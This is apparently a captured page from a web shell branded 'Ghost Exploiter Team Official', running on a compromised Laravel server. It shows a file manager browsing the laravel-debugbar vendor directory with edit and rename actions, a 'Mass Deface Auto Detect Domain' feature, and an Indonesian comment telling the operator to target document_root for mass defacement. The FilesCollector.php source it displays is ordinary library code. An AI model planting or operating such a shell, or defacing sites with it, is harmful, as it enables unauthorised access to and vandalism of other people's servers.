Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
barryvdh
/
laravel-debugbar
/
src
/
DataCollector
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
CacheCollector.php
4.081KB
edt
ren
EventCollector.php
4.092KB
edt
ren
FilesCollector.php
3.704KB
edt
ren
GateCollector.php
5.284KB
edt
ren
JobsCollector.php
1.48KB
edt
ren
LaravelCollector.php
1.64KB
edt
ren
LivewireCollector.php
2.951KB
edt
ren
LogsCollector.php
3.877KB
edt
ren
ModelsCollector.php
1.588KB
edt
ren
MultiAuthCollector.php
4.57KB
edt
ren
PennantCollector.php
1.201KB
edt
ren
QueryCollector.php
23.361KB
edt
ren
RequestCollector.php
11.104KB
edt
ren
RouteCollector.php
4.887KB
edt
ren
SessionCollector.php
1.68KB
edt
ren
ViewCollector.php
6.091KB
edt
ren
<?php namespace Barryvdh\Debugbar\DataCollector; use DebugBar\DataCollector\DataCollector; use DebugBar\DataCollector\Renderable; use Illuminate\Container\Container; class FilesCollector extends DataCollector implements Renderable { /** @var \Illuminate\Container\Container */ protected $app; protected $basePath; /** * @param \Illuminate\Container\Container $app */ public function __construct(?Container $app = null) { $this->app = $app; $this->basePath = base_path(); } /** * {@inheritDoc} */ public function collect() { $files = $this->getIncludedFiles(); $compiled = $this->getCompiledFiles(); $included = []; $alreadyCompiled = []; foreach ($files as $file) { // Skip the files from Debugbar, they are only loaded for Debugging and confuse the output. // Of course some files are stil always loaded (ServiceProvider, Facade etc) if ( strpos($file, 'vendor/maximebf/debugbar/src') !== false || strpos( $file, 'vendor/barryvdh/laravel-debugbar/src' ) !== false ) { continue; } elseif (!in_array($file, $compiled)) { $included[] = [ 'message' => "'" . $this->stripBasePath($file) . "',", // Use PHP syntax so we can copy-paste to compile config file. 'is_string' => true, ]; } else { $alreadyCompiled[] = [ 'message' => "* '" . $this->stripBasePath($file) . "',", // Mark with *, so know they are compiled anyway. 'is_string' => true, ]; } } // First the included files, then those that are going to be compiled. $messages = array_merge($included, $alreadyCompiled); return [ 'messages' => $messages, 'count' => count($included), ]; } /** * Get the files included on load. * * @return array */ protected function getIncludedFiles() { return get_included_files(); } /** * Get the files that are going to be compiled, so they aren't as important. * * @return array */ protected function getCompiledFiles() { if ($this->app && class_exists('Illuminate\Foundation\Console\OptimizeCommand')) { $reflector = new \ReflectionClass('Illuminate\Foundation\Console\OptimizeCommand'); $path = dirname($reflector->getFileName()) . '/Optimize/config.php'; if (file_exists($path)) { $app = $this->app; $core = require $path; return array_merge($core, $app['config']['compile']); } } return []; } /** * Remove the basePath from the paths, so they are relative to the base * * @param $path * @return string */ protected function stripBasePath($path) { return ltrim(str_replace($this->basePath, '', $path), '/'); } /** * {@inheritDoc} */ public function getWidgets() { $name = $this->getName(); return [ "$name" => [ "icon" => "files-o", "widget" => "PhpDebugBar.Widgets.MessagesWidget", "map" => "$name.messages", "default" => "{}" ], "$name:badge" => [ "map" => "$name.count", "default" => "null" ] ]; } /** * {@inheritDoc} */ public function getName() { return 'files'; } }